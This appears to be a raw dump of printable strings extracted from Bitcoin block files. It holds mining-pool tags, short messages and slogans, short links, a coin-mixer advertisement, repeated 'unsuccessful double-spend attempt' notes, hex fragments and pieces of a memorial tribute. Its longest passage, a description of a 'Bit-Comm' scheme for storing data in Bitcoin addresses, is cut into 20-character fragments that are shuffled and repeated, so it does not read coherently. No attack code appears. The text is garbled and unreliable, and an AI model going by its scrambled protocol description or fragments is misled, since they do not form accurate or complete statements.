00000000000000000000
11000000000000011111
10000110001110011010
00000001100000000000
00000000100000000100
00000001100110000000
00000001100000000100
10000000000001100000
00000111110000000000
00000010100000111011
00000000000000000000
00000000000101000000
11000000000001100000
00100100010010001000
00001001010000000000
Credit: Arne Nordman
n (norro) (Own drawi
ng, 2005) [<a href="
http://www.gnu.org/c
opyleft/fdl.html">GF
DL</a>, <a href="htt
p://creativecommons.
org/licenses/by-sa/3
.0/">CC-BY-SA-3.0</a
> or <a href="http:/
/creativecommons.org
/licenses/by-sa/2.5-
2.0-1.0">CC BY-SA 2.
5-2.0-1.0</a>], <a h
ref="http://commons.
wikimedia.org/wiki/F
ile%3AArecibo_messag
e.svg">via Wikimedia
Commons</a></p>Arec
ibo_message.svg\9051
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Follow the white rabbit.
Mined by AntPool bj2
$/mining.bitcoinaffiliatenetwork.com/
Mined by qingqing0001
(j& blockmsg.com - Messages On BlockChain0
Mined by AntPool bj0
Mined by khurramsalah
Mined by AntPool bj2
Mined by qq303762743
Mined by AntPool bj42CX
Content-type: text/plain; charset=utf-8
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Follow the white rabbit.
Mined by AntPool sz1
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by AntPool bj42CX
Mined by ll185745252
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
Mined by zhanlongclam
Mined by AntPool sy1
wallet test of decade!
u=https://cpr.sm/c0k4Vzn6yd
Follow the white rabbit.
Mined by AntPool bj0
$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj1$
u=https://cpr.sm/wc10WZ8OpBH
u=https://cpr.sm/wc10WZ8OpB
u=https://cpr.sm/wc10WZ8OpBx1
u=https://cpr.sm/wc10WZ8OpB
#The truth is that there is no spoon
Mined by AntPool hz0;
Mined by AntPool sc6
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by nanjinghaowei
Mined by AntPool sc6
Mined by AntPool bj2
Mined by zjx877474263
Operation "rakushka" :)
2af398593040a3f92ca0
c892f6a956d3948ada27
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool sc6
Mined by AntPool sc6
Testing the new logi
Everyone gets their
Mined by zhenglin2014
56789:CDEFGHIJSTUVWX
TUVWXYZcdefghijstuvw
&'()*56789:CDEFGHIJS
f1f5d3e79681463eeb9f
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70c4a87d8fbf3f4760fb
Mined by AntPool bj0
Mined by AntPool bj1$
Mined by AntPool bj0
Mined by AntPool sz1
KMined by f2poolscant
Mined by AntPool sy1
Mined by AntPool sy1
Mined by AntPool bj5
$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj1$
ASCRIBESPOOLREGISTER
Mined by AntPool sc6
o-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
File: blk00216.txt
u=https://cpr.sm/0RRC3QC5-A
$/mining.bitcoinaffiliatenetwork.com/
What is the Banking? Control.
handle:aoeui2;email:
(none);about:bitcomm
r the rest of time.
he original data wil
can be retrieved fro
ind the protocol is
lic addresses. By se
nding one or more tr
fundamental idea beh
l be stored in, and
As an example of how
The Bit-Comm Protoco
that any piece of da
ta can be converted
into a series of pub
e public addresses o
this would work, ta
ke a look at this tr
an ordered manner, t
ansactions with thos
m, the blockchain fo
n the blockchain in
packet/b20e427ba2e0f
a34ceb002649315321b3
me in a downloadable
cb7addbdc5eb87358a3f
cc6e9ea25fcc765de1c3
ed into the blockcha
er example, here is
it-comm.appspot.com/
the United States Bi
ll of Rights, record
see the Bill of Rig
file format, look a
5779f3177380a5b26b8c
spot.com/packet/d71e
hts saved for all ti
39e493a1eaa4eb7c39e5
ta, but based on the
an array of bytes in
18990d3a9aec7af3ab45
/it-comm.appspot.com
/packet/e3b204c71f24
teps for converting
ts, each carrying a
, we need to remove
to a Bit-Comm packet
71d1939b7d6dcc61478b
t-Comm ordered trans
acket. There are se
different form of da
any bytes with a val
. Due to the nature
action is called a p
of Bitcoin addresses
ue of 0, 1, or 255.
veral types of packe
ng, pad the end with
making byte 254 into
our array. If it is
byte 0, {254,49} wi
, we need to break i
now equal byte 254 (
an "escape byte". S
t up into a series o
coin safe byte array
since it is escaping
We will do that by
ll now equal byte 1,
first 20 bytes of y
and {254,254} will
equal byte 255, {25
4,48} will now equal
that, start with the
f addresses. To do
that we have our Bit
less the 20 bytes lo
en one '1' at the be
back to your origin
a If the address we
ginning, it is no go
or more on how to do
nsert a single 255 b
od. In that case, go
und_of_version_1_Bit
he standard process
to declare this a p
that, see the docum
55's to fill it out
s://en.bitcoin.it/wi
al byte array, and i
ublic key, and use t
8 public address - f
ki/Technical_backgro
to generate a base 5
to 20. We are going
generate has more th
ng any data, but are
Repeat steps 2 and
byte block. Note th
ding address, a seri
the start of the 20
ntil you generate a
byte longer. Continu
acket (ordered trans
action) of data cons
ists of a single sen
ums consisting of or
yte into it right at
2.a until you have c
array of data into
just making the ove
rall data array one
onverted your entire
es of address spectr
at we are not removi
e on step 2 and 2a u
dress has a transact
e return addresses t
ion value that is on
ectrum of addresses
action might look li
hat are ignored for
probably one or mor
ple if you are sendi
vious address on the
dered addresses, and
, B - 5501 satoshi,
is made when each ad
data purposes. A sp
trum, then the trans
e more then it's pre
separated from it's
d C in a single spec
ke (A - 5500 satoshi
spectrum - for exam
ng addresses A,B, an
est to lowest value,
ed address in the hi
ue between the highe
st valued address in
address is considere
ne of the Body spect
neighbor by a single
d to be the first li
, the lowest valued
jump in satoshi val
gher spectrum. Curr
and the lowest valu
recognized spectrum
s. Ordered from high
the lower spectrum,
ently there are five
ns that packet decod
rm, and all ordering
return value is outs
ide the range of the
de of these spectrum
ing does not demand
f return addresses f
data wise. This all
In general, the "Bod
t ensure that their
a standard minimum v
ranges is considere
d to be irrelevant,
rom there. This mea
alue as a frame of r
ress that receives a
of spectrums goes f
ows for any number o
value that is outsi
or excess funds, jus
n be found by search
ould pull all packet
ader" spectrum store
ore a user-specific
s key:value pairs re
The "Index" spectrum
r example, to find a
ing on that key. Fo
he data, so that all
y" spectrum is where
keyword related to t
the actual data you
are transmitting is
user's files, you c
data of one type ca
s sent to the keywor
is where you can st
dof "files" that goe
math.Mod(float64(use
onsistent address -
o generate a user sp
the combined index p
public key out of y
ublic key through th
rPublicKey[i]+keywor
dPublicKey[i]-2), 25
e following formula:
s with that user. T
our keyword, with pa
basically it turns t
ding messages to a c
ecific index the ste
spectrum is for sen
ion through your pre
ve your packet, just
e data again, just r
ps. All steps descri
s: for communicating
e anyone can post an
everse the above ste
a public forum wher
ferred method, and t
he "To" address into
with other users pu
bed above are revers
kchain as a transact
he data therein will
send it to the bloc
address generated b
ns the user-specific
that is being poste
bout the journal dat
ing user's public ke
s the actual post da
Posts: a place for k
he following signatu
the actual journal
y combining the post
y with the index of
ntains information a
eeping a personal jo
e following signatur
"journal". Note tha
omm developer". For
recently posted valu
a way for a user to
chain is considered
ody - Contains infor
t it is not a valid
describe themselves.
post if the posting
r in key:value pairs
dle:aoeui;about:bitc
,with semi-colons be
user's public key is
n't the one that gen
mation about the use
all keys, the most
tween them, aka "han
e found on the block
x of "index". Note
rily large files per
l packets, broken up
ontains the user-spe
ic key with the inde
s composed of severa
Body - Contains a p
cific address genera
ted by combining the
way to store arbitra
ey isn't the one tha
posting user's publ
into two types, dat
ting user's public k
alid post if the pos
t generates this ind
a packets and pointe
of hash-160 address
ontains a carriage-r
ins the key-value pa
ly the main file pac
es that either point
s the user specific-
index of "files". -
ortion of the file d
ntained by the main
ir of "type:pointer"
other Pointer packe
to Data packets, or
eturn separated list
ket will contain thi
s the file name - on
this also is only co
sses that each trans
data into an approp
Break up the file's
nly one pointer pack
r pointer packet as
packets, depicted a
enerate a file, do t
ted above, putting a
160 addresses collec
s many hash-160's pe
eep the correctly or
bove. Send them to t
dered hash-160 addre
he blockchain, and k
riate number of data
packets to the hash-
specific index of "f
if there was more t
ecode a file again,
ctrum, and the user
just follow the poin
hen one pointer pack
ith your new list of
ters back to the fil
together in the corr
e's original data pa
en add the file name
these pointer packet
to it's Subject spe
et created above, st
art over at step 2 w
et created above, th
s to the blockchain.
ckets, and put them
8cf92c1e553d5e142d7b
878595fb85d2221346cf
e441a1555c16fb1c0586
b19cd590b3c89cc96534
328a977bbec0202f4830
b96f510e47c447f10d4a
9e495066da2271517598
dd05f40c1db3d3e81218
f9f943baa92455dcac3c
75389cb4990689b9079c
87269595c0154db36668
7910af658e4ba8984ffc
5970ae129d1141663bd5
ad850882173c9b5e9061
2f2a9b968c37bba84a63
0ed69eb865dd0428bc49
bfa8b756da1cd9e5e5de
3b8bb3783a50f7acbb50
7d54005374f4f3bba288
7b67f89c581097b5dfba
6bd72d020565d8e2c182
224e5ae5f088a46b99a0
acda789cf51d05db386d
b843b637cb90e144839d
720803f889577ff1bab0
a67bc17696753b03d480
054fa772de6a75587464
00d00c64e3b5a4dd0dca
6f768ec569e73b7437d7
8b090371baf347636850
abe11803e4eb83c9accf
efb2483a9de4273ceaf2
3b71fcbf33efc82f3ce3
7b376dca946ca63b8536
6b296ef705418df6482f
48b7a9daf46df3cead6b
1ab94601704f8b1461b1
1630d6cc15964e04716d
8fbe13ae50b3d1bf9062
ae43eb6868eef1ca2a90
d8ed713018c16aced41c
Bit-Comm Protocol v0
b44930d5f86bc92bd7e8
bbad0cd50f43e4495665
30ede1e6f9083e0bfd1d
ec47993407032e283a60
d00bb7ee644a943f44cc
63739ed9c07bb920ff85
5d9b53f260d2654453c9
type:pointer;size:39
$/mining.bitcoinaffiliatenetwork.com/
r the rest of time.
he original data wil
can be retrieved fro
ind the protocol is
lic addresses. By se
nding one or more tr
fundamental idea beh
l be stored in, and
As an example of how
The Bit-Comm Protoco
that any piece of da
ta can be converted
into a series of pub
e public addresses o
this would work, ta
ke a look at this tr
an ordered manner, t
ansactions with thos
m, the blockchain fo
n the blockchain in
packet/b20e427ba2e0f
a34ceb002649315321b3
me in a downloadable
cb7addbdc5eb87358a3f
cc6e9ea25fcc765de1c3
ed into the blockcha
er example, here is
it-comm.appspot.com/
the United States Bi
ll of Rights, record
see the Bill of Rig
file format, look a
5779f3177380a5b26b8c
spot.com/packet/d71e
hts saved for all ti
39e493a1eaa4eb7c39e5
ta, but based on the
an array of bytes in
18990d3a9aec7af3ab45
/it-comm.appspot.com
/packet/e3b204c71f24
teps for converting
ts, each carrying a
, we need to remove
to a Bit-Comm packet
71d1939b7d6dcc61478b
t-Comm ordered trans
acket. There are se
different form of da
any bytes with a val
. Due to the nature
action is called a p
of Bitcoin addresses
ue of 0, 1, or 255.
veral types of packe
ng, pad the end with
making byte 254 into
our array. If it is
byte 0, {254,49} wi
, we need to break i
now equal byte 254 (
an "escape byte". S
t up into a series o
coin safe byte array
since it is escaping
We will do that by
ll now equal byte 1,
first 20 bytes of y
and {254,254} will
equal byte 255, {25
4,48} will now equal
that, start with the
f addresses. To do
that we have our Bit
less the 20 bytes lo
en one '1' at the be
back to your origin
a If the address we
ginning, it is no go
or more on how to do
nsert a single 255 b
od. In that case, go
und_of_version_1_Bit
he standard process
to declare this a p
that, see the docum
55's to fill it out
s://en.bitcoin.it/wi
al byte array, and i
ublic key, and use t
8 public address - f
ki/Technical_backgro
to generate a base 5
to 20. We are going
generate has more th
ng any data, but are
Repeat steps 2 and
byte block. Note th
ding address, a seri
the start of the 20
ntil you generate a
byte longer. Continu
acket (ordered trans
action) of data cons
ists of a single sen
ums consisting of or
yte into it right at
2.a until you have c
array of data into
just making the ove
rall data array one
onverted your entire
es of address spectr
at we are not removi
e on step 2 and 2a u
dress has a transact
e return addresses t
ion value that is on
ectrum of addresses
action might look li
hat are ignored for
probably one or mor
ple if you are sendi
vious address on the
dered addresses, and
, B - 5501 satoshi,
is made when each ad
data purposes. A sp
trum, then the trans
e more then it's pre
separated from it's
d C in a single spec
ke (A - 5500 satoshi
spectrum - for exam
ng addresses A,B, an
est to lowest value,
ed address in the hi
ue between the highe
st valued address in
address is considere
ne of the Body spect
neighbor by a single
d to be the first li
, the lowest valued
jump in satoshi val
gher spectrum. Curr
and the lowest valu
recognized spectrum
s. Ordered from high
the lower spectrum,
ently there are five
ns that packet decod
rm, and all ordering
return value is outs
ide the range of the
de of these spectrum
ing does not demand
f return addresses f
data wise. This all
In general, the "Bod
t ensure that their
a standard minimum v
ranges is considere
d to be irrelevant,
rom there. This mea
alue as a frame of r
ress that receives a
of spectrums goes f
ows for any number o
value that is outsi
or excess funds, jus
n be found by search
ould pull all packet
ader" spectrum store
ore a user-specific
s key:value pairs re
The "Index" spectrum
r example, to find a
ing on that key. Fo
he data, so that all
y" spectrum is where
keyword related to t
the actual data you
are transmitting is
user's files, you c
data of one type ca
s sent to the keywor
is where you can st
dof "files" that goe
math.Mod(float64(use
onsistent address -
o generate a user sp
the combined index p
public key out of y
ublic key through th
rPublicKey[i]+keywor
dPublicKey[i]-2), 25
e following formula:
s with that user. T
our keyword, with pa
basically it turns t
ding messages to a c
ecific index the ste
spectrum is for sen
ion through your pre
ve your packet, just
e data again, just r
ps. All steps descri
s: for communicating
e anyone can post an
everse the above ste
a public forum wher
ferred method, and t
he "To" address into
with other users pu
bed above are revers
kchain as a transact
he data therein will
send it to the bloc
address generated b
ns the user-specific
that is being poste
bout the journal dat
ing user's public ke
s the actual post da
Posts: a place for k
he following signatu
the actual journal
y combining the post
y with the index of
ntains information a
eeping a personal jo
e following signatur
"journal". Note tha
omm developer". For
recently posted valu
a way for a user to
chain is considered
ody - Contains infor
t it is not a valid
describe themselves.
post if the posting
r in key:value pairs
dle:aoeui;about:bitc
,with semi-colons be
user's public key is
n't the one that gen
mation about the use
all keys, the most
tween them, aka "han
e found on the block
x of "index". Note
rily large files per
l packets, broken up
ontains the user-spe
ic key with the inde
s composed of severa
Body - Contains a p
cific address genera
ted by combining the
way to store arbitra
ey isn't the one tha
posting user's publ
into two types, dat
ting user's public k
alid post if the pos
t generates this ind
a packets and pointe
of hash-160 address
ontains a carriage-r
ins the key-value pa
ly the main file pac
es that either point
s the user specific-
index of "files". -
ortion of the file d
ntained by the main
ir of "type:pointer"
other Pointer packe
to Data packets, or
eturn separated list
ket will contain thi
s the file name - on
this also is only co
sses that each trans
data into an approp
Break up the file's
nly one pointer pack
r pointer packet as
packets, depicted a
enerate a file, do t
ted above, putting a
160 addresses collec
s many hash-160's pe
eep the correctly or
bove. Send them to t
dered hash-160 addre
he blockchain, and k
riate number of data
packets to the hash-
specific index of "f
if there was more t
ecode a file again,
ctrum, and the user
just follow the poin
hen one pointer pack
ith your new list of
ters back to the fil
together in the corr
e's original data pa
en add the file name
these pointer packet
to it's Subject spe
et created above, st
art over at step 2 w
et created above, th
s to the blockchain.
ckets, and put them
8cf92c1e553d5e142d7b
878595fb85d2221346cf
e441a1555c16fb1c0586
b19cd590b3c89cc96534
328a977bbec0202f4830
b96f510e47c447f10d4a
9e495066da2271517598
dd05f40c1db3d3e81218
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75389cb4990689b9079c
87269595c0154db36668
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5970ae129d1141663bd5
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2f2a9b968c37bba84a63
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054fa772de6a75587464
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8b090371baf347636850
abe11803e4eb83c9accf
efb2483a9de4273ceaf2
3b71fcbf33efc82f3ce3
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Mined by AntPool usa
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...BUT SWEAT MEMORIES REMAIN
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'NOTHING BIG CAME OUT OF SOMETHING SMALL
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File: blk00217.txt
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wes & pippa 01/09/12
Mined by zhanlongclam
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thesis+Private Block - Blockchain For Data Privacy
goal5Thesis Proposal for
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#The truth is that there is no spoon
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#The truth is that there is no spoon
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Mined by qq379136846
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
Mined by AntPool hz0;
unsuccessful double-spend attempt
u=https://cpr.sm/2QbE2vCRo5
u=https://cpr.sm/2QbE2vCRo5
unsuccessful double-spend attempt
unsuccessful double-spend attempt
Operation "rakushka" :)
"oMined by f2poolscant
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unsuccessful double-spend attempt
Mined by realsun8888
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unsuccessful double-spend attempt
unsuccessful double-spend attempt
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unsuccessful double-spend attempt
unsuccessful double-spend attempt
Mined by AntPool usa
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
Mined by AntPool usa
unsuccessful double-spend attempt
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Welcome to the real world.
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unsuccessful double-spend attempt
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What is the Banking? Control.
Time is always against us.
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unsuccessful double-spend attempt
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Mined by AntPool bj0
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Mined by AntPool sy1
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unsuccessful double-spend attempt
u=https://cpr.sm/L1mxc_A0G1
Mined by yifankeji128
Mined by AntPool sz1
Mined by pdsguoliucheng
unsuccessful double-spend attempt
u=https://cpr.sm/omkzYpJjceq
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u=https://cpr.sm/6vNNI4reUI
Mined by AntPool hz0;
u=https://cpr.sm/Tp1hdk6Sfi
Mined by AntPool bj5
Operation "rakushka" :)
File: blk00218.txt
unsuccessful double-spend attempt
unsuccessful double-spend attempt
Mined by AntPool usa
unsuccessful double-spend attempt
Mined by AntPool hz0;
Mined by AntPool bj0
Mined by AntPool bj5
Mined by AntPool hz0;
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by gf406224454
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unsuccessful double-spend attempt
Mined by AntPool hz0;
Mined by AntPool bj0
Mined by AntPool bj42CX
New Smart Property Created
unsuccessful double-spend attempt
unsuccessful double-spend attempt
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unsuccessful double-spend attempt
Mined by zhengtiecheng
Mined by AntPool usa
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
F-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by AntPool bj0
Mined by AntPool bj0
Mined by AntPool sz1
Mined by AntPool usa
Mined by AntPool tl!a
Mined by zhongyunlong01
#The truth is that there is no spoon
Operation "rakushka" :)
Mined by AntPool bj3
Mined by AntPool bj3
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h3>In loving memory
ine Elizabeth White<
1953 - Jan 13 2014<
fe and Mother</h3></
up one night and jot
ted down the followi
ng things I remember
ed best from memorie
s with the Thares fa
mily and especially
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l of you my life wou
ld have been pretty
d of tree leaves rus
tling while taking a
nap at Grandma and
les and pushups at S
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EVERYONE to school<b
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ding out I have one
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rices at the other e
y pageants on our fr
ont porch. Suzie won
it Kaye Kitchell?<br
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e with the Filbachs,
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ne and sending it to
omemade ice cream ch
s basement. I had t
o turn the crank a L
reeting us on Hallow
een with a tray of g
oodies. Pick 2!<br>
g us how to bowl. (
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lkshakes at the truc
k stop with those li
ttle juke boxes on t
Louie driving school
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pital which then bec
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to watch Space Ghos
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le Lehre visiting an
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ck hops at the high
une, plain, peach, a
ght: Chef Boy-ar-de
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MY FONDEST AND MOST
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1953 - Jan 13 2014<
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one night and jotte
d down the following
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ces at the other ele
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ing with Uncle Benni
hops at the high sc
e, plain, peach, app
t: Chef Boy-ar-dee
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FONDEST AND MOST WO
NDERFUL MEMORY WAS W
HEN DADDY CAME HOME
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Operation "rakushka" :)
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Mined by AntPool bj1$
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Mined by AntPool usa
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Mined by AntPool bj3
Mined by zxd345152369
What is the Banking? Control.
Mined by AntPool bj3
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool qd'
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool qd'
Mined by AntPool bj3
RayzorCoins Mixer www.RayzorCoins.com
Mined by budadian100
Mined by AntPool bj0
Mined by AntPool bj1$
jffMined by gaoyuebin
Mined by AntPool sz1
Mined by a13904693111
Mined by AntPool bj2
Mined by chenguanghai
u=https://cpr.sm/8zcbunmaUV
Mined by qingqing0001
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by wangliang123
3'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by chenning888
RayzorCoins Mixer www.RayzorCoins.com
RayzorCoins Mixer www.RayzorCoins.com
RayzorCoins Mixer www.RayzorCoins.com
Mined by AntPool sz1
u=https://cpr.sm/RKpibaRohv
Time is always against us.
Mined by sxzfafaaisinila
RayzorCoins Mixer www.RayzorCoins.com
RayzorCoins Mixer www.RayzorCoins.com
Mined by AntPool tl!a
5H9dvFRA3F07JUPMDL92M54dUS2l25RR
Mined by gongchandang
RayzorCoins Mixer www.RayzorCoins.com
Devcrypto Wallet v0.2.4 (alpha)
AMined by f2poolscant
What is the Banking? Control.
Mined by AntPool bj1$
Time is always against us.
Mined by tanghuikuangji
File: blk00219.txt
Mined by AntPool usa
Mined by AntPool bj1$
u=https://cpr.sm/PAeDYC42pO
ASCRIBESPOOLREGISTER
Mined by AntPool sy1-
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!&HE WHO IS GIVEN EVERYTHING HAS NOTHING
u=https://cpr.sm/IZBhCa1Hw9Xl
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by AntPool bj0
ASCRIBESPOOLREGISTER
Mined by chen173529114
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
Mined by ljkai888666
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by AntPool qd'
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
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$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool qd'
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KV4eWJ1ZBm5MNrCXPPaw
Mined by AntPool bj58
Mined by AntPool bj2
u=https://cpr.sm/fkvw5zXHWa
Mined by AntPool hz0;
...BUT SWEAT MEMORIES REMAIN
u=https://cpr.sm/ps2hGNoyFY
Time is always against us.
Mined by zhanlongclam
Mined by AntPool bj1$
Mined by AntPool bj1$
u=https://cpr.sm/bgSYRXFgGTt
u=https://cpr.sm/8mdMIpc8za
u=https://cpr.sm/bgSYRXFgGT<d
Mined by AntPool bj3
Mined by AntPool bj0
Mined by AntPool qd'
u=https://cpr.sm/-r-M7mTFdAH
Mined by zxd15503546669
Mined by AntPool sy1-
S'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool usa
Mined by lizhixiang8858
Mined by AntPool bj1$
GB2APDK Ninjas team 4ever.
/Tangpool/tangpoolgonbo/HAOBTC/
u=https://cpr.sm/R12Cn8P18_(VO
ASCRIBESPOOLREPLENISH
Mined by AntPool bj58
ASCRIBESPOOLTRANSFER
u=https://cpr.sm/E8yT3UhQyD8]
Mined by AntPool bj0
Mined by AntPool bj58
Mined by AntPool usa
Mined by AntPool usa
Mined by wanyouyinli1
Mined by AntPool sy1-
Mined by AntPool usa
GB2APDK Ninjas team 4ever.
ASCRIBESPOOLREGISTER
Mined by AntPool bj1$
u=https://cpr.sm/izse4mvTKJ8
u=https://cpr.sm/izse4mvTKJ
Mined by AntPool bj1$
What is the Banking? Control.
Follow the white rabbit.
Mined by darkphoenixs3
/Tangpool/tangpoolgonbo/HAOBTC/
#The truth is that there is no spoon
Mined by AntPool bj58
What is the Banking? Control.
Mined by AntPool bj0
Mined by AntPool bj0
Mined by AntPool sz1
a#The truth is that there is no spoon
Mined by AntPool bj58
Mined by AntPool qd'
Mined by AntPool bj1$
Mined by sxwo47995152
Mined by AntPool usa
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool bj1$
/Tangpool/tangpoolgonbo/HAOBTC/
What is the Banking? Control.
w&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool tl!a
Follow the white rabbit.
pmpka210b0f4c94abee16381512103
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by AntPool sz1
Mined by zjx329154546
Mined by AntPool bj5
u=https://cpr.sm/TN5vwdcDjW
590c.org(^_^)Taichung@TW
$/mining.bitcoinaffiliatenetwork.com/
Mined by zhanlongclam
u=https://cpr.sm/ArjTg1C6wK
ASCRIBESPOOLREGISTER
File: blk00220.txt
/Tangpool/avalon4_tl/
Mined by tjzh13729336908
Mined by AntPool sy1-
/Tangpool/avalon4_tl/
Mined by AntPool sy1-
u=https://cpr.sm/UCvyENOqC28]
Mined by AntPool bj42CX
First cryptocurrency
ever that is NOT VO
$/mining.bitcoinaffiliatenetwork.com/
...BUT SWEAT MEMORIES REMAIN
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by AntPool bj3
u=https://cpr.sm/9s6_cerKKn8]
Mined by AntPool bj2
>'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool bj2
Mined by AntPool qd'
Mined by AntPool sy1-
Mined by AntPool qd'
Mined by AntPool tl!a
Mined by wj15558818886
Mined by AntPool sy1-
/Tangpool/tangpoolgonbo/HAOBTC/
What is the Banking? Control.
Mined by AntPool bj3
Mined by AntPool sy1-
Mined by AntPool bj2
u=https://cpr.sm/wWQ2713HBpXh!
u=https://cpr.sm/OyOkFuEKUjH
u=https://cpr.sm/mfej0THsku
u=https://cpr.sm/biiQrMSBuM
u=https://cpr.sm/wWIA2LOSKZ
Operation "rakushka" :)
Mined by AntPool bj2
u=https://cpr.sm/aNSAyIRJSr
u=https://cpr.sm/aNSAyIRJSr@
u=https://cpr.sm/Jq8jPBTQQo
'NOTHING BIG CAME OUT OF SOMETHING SMALL
u=https://cpr.sm/-G64Xdt5vQ(
Mined by AntPool bj1$
u=https://cpr.sm/GZK00RkBeS
/Tangpool/tangpoolgonbo/HAOBTC/
Welcome to the real world.
Mined by AntPool sz1
Mined by AntPool usa
u=https://cpr.sm/3o04AYcyCSx
Mined by AntPool bj2
Mined by jiangmingming
u=https://cpr.sm/Erp30CllQ2
Mined by AntPool bj0
Mined by AntPool bj1$
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by AntPool bj4/
Mined by AntPool bj2
HJGLuvsCCG11271983x4
e60b22ef6338df9b5819
5b7e93912acf498c4b7f
What is the Banking? Control.
Mined by AntPool bj1$
$/mining.bitcoinaffiliatenetwork.com/
'j%Bill Strait says hello and thank you.
*j(V2wyrMsnLhRRRRR021949XXXXX167XXX0.00001Q
*j(V2wyrMsnLhRRRRR021949XXXXX168XXX0.00001Q
/Tangpool/avalon4_tl/
*j(V2wyrMsnLhRRRRR021949XXXXX169XXX0.00001Q
*j(vyH9MZ7WMKRRRRR021949XXXXX171XXX0.08061Q
Follow the white rabbit.
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool bj2
Mined by AntPool bj2
Mined by AntPool bj4/
Welcome to the real world.
Mined by zhaopengming1
Mined by AntPool usa
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by qq1243973493
Mined by AntPool bj1$
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by AntPool bj1$
Mined by AntPool bj2
ASCRIBESPOOLTESTVERB
172df3f08aa7e091dd0e
0529295c9d2ef4b8d70d
ASCRIBESPOOLTESTVERB
l-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
590c.org(^_^)Taichung@TW
ASCRIBESPOOLREGISTER
Mined by AntPool bj3
Time is always against us.
Hello Again, Bitcoin!
Mined by wfababamama
Mined by AntPool bj2
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Follow the white rabbit.
Follow the white rabbit.
'NOTHING BIG CAME OUT OF SOMETHING SMALL
/Tangpool/tangpoolgonbo/HAOBTC/
D&HE WHO IS GIVEN EVERYTHING HAS NOTHING
1M93qV8hpo6648HFUHtu
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Name: hs-2015-02-a-h
roof: 21E02337D322F1
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0D891AC060D26C0B4CD7
2014-12-22T17:41:20-
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u=https://cpr.sm/Pds4GiV4d1
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/Tangpool/avalon4_tl/
Mined by AntPool sy1-
What is the Banking? Control.
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File: blk00221.txt
/Tangpool/avalon4_tl/
Mined by mayixiongdi
Mined by AntPool bj1$
*j( BlockChain Message: http://blockmsg.com
Mined by AntPool bj1$
Mined by AntPool bj37
Mined by q2061381258
The Hashling
/\|--|/\
/\|OO|/\
/\|--|/\
@BraveTheWorld
@petertoddbtc
Follow the white rabbit.
Mined by AntPool bj4:E
Time is always against us.
Mined by AntPool bj37
Mined by zhenghao7021242
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Mined by AntPool bj37
Mined by AntPool bj37
Mined by AntPool bj2
u=https://cpr.sm/Pds4GiV4d1
Mined by AntPool bj37
Mined by AntPool usa
Mined by AntPool bj4:E
#The truth is that there is no spoon
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Mined by AntPool bj0
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7-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by huangyuhang
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by AntPool qd'
Mined by AntPool usa
Mined by AntPool qd'
$/mining.bitcoinaffiliatenetwork.com/
/Tangpool/tangpoolgonbo/HAOBTC/
Mined by AntPool sy1-
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u=https://cpr.sm/rFxRfXtsNm
/Tangpool/avalon4_tl/
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u=https://cpr.sm/rFxRfXtsNm
Welcome to the Crypt
====================
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e a line to brainwal
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======~=~=~=========
Mined by yifankeji128
Mined by AntPool bj0
Mined by AntPool usa
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Mined by AntPool bj1$
Mined by zhanggeping
Time is always against us.
Mined by AntPool bj37
Mined by a3079982847
Mined by AntPool bj2
Mined by AntPool usa
Mined by sxwo47995152
Mined by AntPool sz1
Mined by AntPool bj0
u=https://cpr.sm/rFxRfXtsNm8
Mined by AntPool usa
u=https://cpr.sm/TS7CK8JGDe
u=https://cpr.sm/jfYPgbnuv-
u=https://cpr.sm/jfYPgbnuv-p%}
Welcome to the real world.
Mined by AntPool tl!a
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u=https://cpr.sm/mWV4TQI-Ay
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u=https://cpr.sm/b7vfE4hR8c
u=https://cpr.sm/T0a_vu33Bq
u=https://cpr.sm/IMxf8dweEq
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/Tangpool/tangpoolgonbo/HAOBTC/
/Tangpool/avalon4_tl/
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Mined by AntPool qd'
